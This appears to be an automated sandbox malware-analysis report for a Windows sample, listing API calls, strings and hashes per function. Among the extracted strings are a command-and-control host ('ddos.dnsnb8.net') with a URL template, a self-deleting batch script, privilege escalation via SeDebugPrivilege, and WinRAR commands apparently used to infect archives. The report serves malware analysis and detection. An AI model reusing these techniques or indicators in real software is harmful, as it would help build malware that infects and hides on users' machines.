Instruction Fuzzy Hash: 7831D6729C031E7BDB24A766DCADFCB376EAF10315F050456F545A22C1E6B4DAC48BA0

Function 00601638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 0060164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 0060165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\lvAVrO.exe,00000104), ref: 0060166E
CreateThread.KERNEL32(00000000,00000000,Function_00001099,00000000,00000000,00000000), ref: 006016AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 006016BD

Part of subcall function 0060139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\lvAVrO.exe), ref: 006013BC
Part of subcall function 0060139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 006013DA
Part of subcall function 0060139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00601448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\lvAVrO.exe), ref: 006016E5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00601644
C:\Windows\system32, xrefs: 00601656
Documents and Settings, xrefs: 00601696
C:\Users\user\AppData\Local\Temp\lvAVrO.exe, xrefs: 00601662, 00601667, 006016DD

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\lvAVrO.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-3071570589
Opcode ID: e0a34058ece1874806c94019d7c532e64669cbdfcf44b67fecf1e505b0c81a3e
Instruction ID: 2464bfe46e7bf5d853d133892ce255ad91ff2f4920f13753a27e2d2d4b01226c
Opcode Fuzzy Hash: e0a34058ece1874806c94019d7c532e64669cbdfcf44b67fecf1e505b0c81a3e
Instruction Fuzzy Hash: 4B11B9B15C2124BBDB356BA59D4DEDB3E6FEF47362F001015F30A992E0CAB14540C7A5

Function 00601000 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,HG`,http://%s:%d/%s/%s,006010E8,?), ref: 00601018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,77068400), ref: 00601029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00601038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 0060104B
UnmapViewOfFile.KERNEL32(00000000), ref: 00601075
CloseHandle.KERNEL32(?), ref: 0060108B
CloseHandle.KERNEL32(00000000), ref: 0060108E

Strings

HG`, xrefs: 00601001
ddos.dnsnb8.net, xrefs: 00601026
http://%s:%d/%s/%s, xrefs: 00601000

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: HG`$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-1281645176
Opcode ID: 6c6caf0b19a8bf8e42c9c2ba8e5fe46a215125df270dd66b008165b96363f160
Instruction ID: d766bb4d4d33cc88e5c02b9039e60f522fbfe7fefe69bc33614a40ca8a85ece6
Opcode Fuzzy Hash: 6c6caf0b19a8bf8e42c9c2ba8e5fe46a215125df270dd66b008165b96363f160
Instruction Fuzzy Hash: EC0196B158135CBFE7305F609C88E6BBBAEDB4479AF004529F286A62D0DA705E448B70

Function 00602C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00602C57

Part of subcall function 00601973: PathFileExistsA.SHLWAPI(\N``N`,00000000,C:\Users\user\AppData\Local\Temp\lvAVrO.exe), ref: 00601992
Part of subcall function 00601973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 006019BA
Part of subcall function 00601973: Sleep.KERNEL32(00000064), ref: 006019C6
Part of subcall function 00601973: wsprintfA.USER32 ref: 006019EC
Part of subcall function 00601973: CopyFileA.KERNEL32(?,?,00000000), ref: 00601A00
Part of subcall function 00601973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00601A1E
Part of subcall function 00601973: GetFileSize.KERNEL32(?,00000000), ref: 00601A2C
Part of subcall function 00601973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00601A46
Part of subcall function 00601973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00601A65

CreateThread.KERNEL32(00000000,00000000,Function_00002B8C,00000000,00000000,00000000), ref: 00602C99
WaitForMultipleObjects.KERNEL32(00000001,006016BA,00000001,000000FF,?,006016BA,00000000), ref: 00602CAC
VirtualFree.KERNEL32(00B80000,00000000,00008000,C:\Users\user\AppData\Local\Temp\lvAVrO.exe,00604E5C,00604E60,?,006016BA,00000000), ref: 00602CC2

Strings

C:\Users\user\AppData\Local\Temp\lvAVrO.exe, xrefs: 00602C69

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\lvAVrO.exe
API String ID: 2042498389-1025792718
Opcode ID: a83cd69411e6228b75317eed985696f159c6ede97327ebde06a09d7540d7d99a
Instruction ID: f0854298fecd9abc4a37f1fa5900e5b3b3c428ed3d5d8ee85d473c08d390dee4
Opcode Fuzzy Hash: a83cd69411e6228b75317eed985696f159c6ede97327ebde06a09d7540d7d99a
Instruction Fuzzy Hash: 810184B16C12217AE768A795DC1EEDF7F5EEF01B50F104114B605D62C1DAA09940C7F4

Function 006014E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00601504
VirtualQuery.KERNEL32(006014E1,?,0000001C), ref: 00601525
ExitProcess.KERNEL32 ref: 0060157A

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: ccc9e10e80aa4b2d72483f8b76c3affca6549328c8f2421b333f464b1d8e3fac
Instruction ID: c949ee4c4f1e2129bcba20af14dc5768158dd2a2904d182e7c58eab078d5e731
Opcode Fuzzy Hash: ccc9e10e80aa4b2d72483f8b76c3affca6549328c8f2421b333f464b1d8e3fac
Instruction Fuzzy Hash: BE115EF19C1214DFCB26EFA5AC846BB77AEEB85715B10602EF502DB2D0D6B08941AB50

Function 00601915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00601933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 00601947

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: a7b7c89dc465cd9d1953670a940b5864b851bfd63587d8a6d618a08123ae25b1
Instruction ID: 01434d4244213dbf4429de400ca0bbad7622039eef0a82fcfc8af63192d6f714
Opcode Fuzzy Hash: a7b7c89dc465cd9d1953670a940b5864b851bfd63587d8a6d618a08123ae25b1
Instruction Fuzzy Hash: 59F06836280609ABD724DE26DC14FE777AEAF51361F00853AF556D51D0E730D645CBB0

Function 00606159 Relevance: 2.6, APIs: 2, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 006060DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00606189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 006061A5

Memory Dump Source

Source File: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID:
API String ID: 1852963964-0
Opcode ID: ebc55d59fcc51ef07b1c4045a018ee915b123e018bb5ad6ace9790c33bb8981b
Instruction ID: a05861917ae2f835608e94ae14efa407e5d06588e6dd54bb542855f6713b1cd8
Opcode Fuzzy Hash: ebc55d59fcc51ef07b1c4045a018ee915b123e018bb5ad6ace9790c33bb8981b
Instruction Fuzzy Hash: A1116D31A806598BCF398F58CC917DE37A2EF00301F690518EE8A5B3D1DA712A61CB94

Non-executed Functions

Function 0060119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\lvAVrO.exe,?,?,?,?,?,?,006013EF), ref: 006011AB
OpenProcessToken.ADVAPI32(00000000,00000028,006013EF,?,?,?,?,?,?,006013EF), ref: 006011BB
AdjustTokenPrivileges.ADVAPI32(006013EF,00000000,?,00000010,00000000,00000000), ref: 006011EB
CloseHandle.KERNEL32(006013EF), ref: 006011FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,006013EF), ref: 00601203

Strings

C:\Users\user\AppData\Local\Temp\lvAVrO.exe, xrefs: 006011A5

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\lvAVrO.exe
API String ID: 75692138-1025792718
Opcode ID: 4d2cccd8338a83f4ff1624c30414f9e41792802bf14e267aa12e9538d82d550b
Instruction ID: 4d2e8ac790ff2bcd5c6333a0752cc0114811fe83f71e28ef8ac39112e1b780b4
Opcode Fuzzy Hash: 4d2cccd8338a83f4ff1624c30414f9e41792802bf14e267aa12e9538d82d550b
Instruction Fuzzy Hash: C701E4B5941219EFDB00DFE4CD89AAFBBBEFB04306F104469E606A2291D7719F449B50

Function 0060239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239sleepfilestringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 006023CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00602464
GetFileSize.KERNEL32(00000000,00000000), ref: 00602472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 006024A8
memset.MSVCRT ref: 006024B9
strrchr.MSVCRT ref: 006024C9
wsprintfA.USER32 ref: 006024DE
strrchr.MSVCRT ref: 006024ED
memset.MSVCRT ref: 006024F2
memset.MSVCRT ref: 00602505
wsprintfA.USER32 ref: 00602524
Sleep.KERNEL32(000007D0), ref: 00602535
Sleep.KERNEL32(000007D0), ref: 0060255D
memset.MSVCRT ref: 0060256E
wsprintfA.USER32 ref: 00602585
memset.MSVCRT ref: 006025A6
wsprintfA.USER32 ref: 006025CA
Sleep.KERNEL32(000007D0), ref: 006025D0
Sleep.KERNEL32(000007D0,?,?), ref: 006025E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 006025FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 00602611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 00602642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 0060265B
SetEndOfFile.KERNEL32 ref: 0060266D
CloseHandle.KERNEL32(00000000), ref: 00602676
RemoveDirectoryA.KERNEL32(?), ref: 00602681

Strings

%s\, xrefs: 0060257F
C:\Users\user\AppData\Local\Temp\, xrefs: 006023B1, 006023B6, 006024CD
%s%s, xrefs: 006024D8
%s X -ibck "%s" "%s\", xrefs: 0060251E
-ibck, xrefs: 006025BA
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 006025C4

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-2180922006
Opcode ID: 57af0cacd0b078c7ca1324f0ad1c9454b4e0c2b8d6020e264fd9206ee22b92a0
Instruction ID: 8292a28676bfafc104d7c4920f6f627585c599916c5d6cb6fd70669869041775
Opcode Fuzzy Hash: 57af0cacd0b078c7ca1324f0ad1c9454b4e0c2b8d6020e264fd9206ee22b92a0
Instruction Fuzzy Hash: A081DFB1484305ABD7249F60DC48FABB7EEFF88705F00091EF685D22D0D7709A498B66

Function 0060274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00602766
memset.MSVCRT ref: 00602774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 00602787
wsprintfA.USER32 ref: 006027AB

Part of subcall function 0060185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,77068400,http://%s:%d/%s/%s,?,?,?,00601118), ref: 00601867
Part of subcall function 0060185B: srand.MSVCRT ref: 00601878
Part of subcall function 0060185B: rand.MSVCRT ref: 00601880
Part of subcall function 0060185B: srand.MSVCRT ref: 00601890
Part of subcall function 0060185B: rand.MSVCRT ref: 00601894

wsprintfA.USER32 ref: 006027C6
CopyFileA.KERNEL32(?,00604C80,00000000), ref: 006027D4
wsprintfA.USER32 ref: 006027F4

Part of subcall function 00601973: PathFileExistsA.SHLWAPI(\N``N`,00000000,C:\Users\user\AppData\Local\Temp\lvAVrO.exe), ref: 00601992
Part of subcall function 00601973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 006019BA
Part of subcall function 00601973: Sleep.KERNEL32(00000064), ref: 006019C6
Part of subcall function 00601973: wsprintfA.USER32 ref: 006019EC
Part of subcall function 00601973: CopyFileA.KERNEL32(?,?,00000000), ref: 00601A00
Part of subcall function 00601973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00601A1E
Part of subcall function 00601973: GetFileSize.KERNEL32(?,00000000), ref: 00601A2C
Part of subcall function 00601973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00601A46
Part of subcall function 00601973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00601A65

DeleteFileA.KERNEL32(?,?,00604E54,00604E58), ref: 0060281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,00604E54,00604E58), ref: 00602832

Strings

\WinRAR\Rar.exe, xrefs: 00602793
C:\Users\user\AppData\Local\Temp\, xrefs: 006027B6
%s%s, xrefs: 006027A5
C:\Windows\system32, xrefs: 006027E3
c_31892.nls, xrefs: 006027DE
%s\%s, xrefs: 006027EE
%s%.8x.exe, xrefs: 006027BB

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-3256556265
Opcode ID: 649ecb841246cdd5278c6e8f00d672f1dbe662d5e592f7c90ed1c77030732140
Instruction ID: ccc1503329b58db20e6c7dded1d8c38a3a31498e6df9aaf64fdb473e35168749
Opcode Fuzzy Hash: 649ecb841246cdd5278c6e8f00d672f1dbe662d5e592f7c90ed1c77030732140
Instruction Fuzzy Hash: 2F21A4F69C022C7BEB14EBA49C89FDB736EEB04705F0105A1B705E21C1E670DF448AA0

Function 00601581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0060185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,77068400,http://%s:%d/%s/%s,?,?,?,00601118), ref: 00601867
Part of subcall function 0060185B: srand.MSVCRT ref: 00601878
Part of subcall function 0060185B: rand.MSVCRT ref: 00601880
Part of subcall function 0060185B: srand.MSVCRT ref: 00601890
Part of subcall function 0060185B: rand.MSVCRT ref: 00601894

wsprintfA.USER32 ref: 006015AA
wsprintfA.USER32 ref: 006015C6
lstrlen.KERNEL32(?), ref: 006015D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 006015EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00601609
CloseHandle.KERNEL32(00000000), ref: 00601612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 0060162D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00601599
%s%.8x.bat, xrefs: 006015A4
C:\Users\user\AppData\Local\Temp\lvAVrO.exe, xrefs: 0060158A, 006015B3, 006015B8, 006015B9
:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 006015C0
open, xrefs: 00601627

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\lvAVrO.exe$open
API String ID: 617340118-3865494993
Opcode ID: 85a3d4054b83252ffe050f5bf977de11cb4163c49d8ad38bc8032278b01bf6ad
Instruction ID: e6cf741b5f02433eb47faf086d3dddb4c77653279b35602067722afd233892af
Opcode Fuzzy Hash: 85a3d4054b83252ffe050f5bf977de11cb4163c49d8ad38bc8032278b01bf6ad
Instruction Fuzzy Hash: A21177B2A811387FD72097A59C89DEB7B6DDF59751F000091F54AE2280DA709F848BB0

Function 0060120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,00601400), ref: 00601226
GetProcAddress.KERNEL32(00000000), ref: 0060122D
GetCurrentProcessId.KERNEL32(?,?,?,?,00601400), ref: 0060123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,00601400), ref: 00601250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\lvAVrO.exe,?,?,?,?,00601400), ref: 0060129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\lvAVrO.exe,?,?,?,?,00601400), ref: 006012B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\lvAVrO.exe,?,?,?,?,00601400), ref: 006012F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,00601400), ref: 0060130A

Strings

ZwQuerySystemInformation, xrefs: 00601212
C:\Users\user\AppData\Local\Temp\lvAVrO.exe, xrefs: 00601262
ntdll.dll, xrefs: 00601219

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\lvAVrO.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-1367072275
Opcode ID: e955e5b68bd004252a66fe21accf937215672c69c93890cd340ada37d1e37a08
Instruction ID: 54e415aa7244b6a976d24fcf6c19dfee588cb5f96349769fc8710d275e5f9ebe
Opcode Fuzzy Hash: e955e5b68bd004252a66fe21accf937215672c69c93890cd340ada37d1e37a08
Instruction Fuzzy Hash: 1721D5316C5321ABD7249B65CC08BABBBAEFB86B01F000919F546DA3C0D770DA84C7A5

Function 0060189D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006018B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,774D0F00,77068400), ref: 006018D3
CloseHandle.KERNEL32(I%`), ref: 006018E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 006018F0
GetExitCodeProcess.KERNEL32(?,?), ref: 00601901
CloseHandle.KERNEL32(?), ref: 0060190A

Strings

I%`, xrefs: 006018E0

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID: I%`
API String ID: 876959470-625729250
Opcode ID: 9954f932d585af19c73a8db920792bd63fc08b581e596da9a61288949900f99c
Instruction ID: 25e5a06af26adeb906357b1ec2bd0f366057c118868b70f74e6875e1267a3926
Opcode Fuzzy Hash: 9954f932d585af19c73a8db920792bd63fc08b581e596da9a61288949900f99c
Instruction Fuzzy Hash: 19018472941128BBCB216BD6DC48DDF7F3EFF85731F104121F916A52A0D6714A18CBA0

Function 0060185B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,77068400,http://%s:%d/%s/%s,?,?,?,00601118), ref: 00601867
srand.MSVCRT ref: 00601878
rand.MSVCRT ref: 00601880
srand.MSVCRT ref: 00601890
rand.MSVCRT ref: 00601894

Strings

ddos.dnsnb8.net, xrefs: 00601862
http://%s:%d/%s/%s, xrefs: 00601860

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 4106363736-3273462101
Opcode ID: fcfe29e12660848bab56d85c9fdbd5a4cdf1225412852a50fcc6414dff64a33a
Instruction ID: 32292a97c79401d70d86a39299766f44422fb121814204cafd4f095e18d1275f
Opcode Fuzzy Hash: fcfe29e12660848bab56d85c9fdbd5a4cdf1225412852a50fcc6414dff64a33a
Instruction Fuzzy Hash: 0CE09277A00228BFE700A7A9EC4689FBBACDE84162B100526F601D3250E570E9448AB8

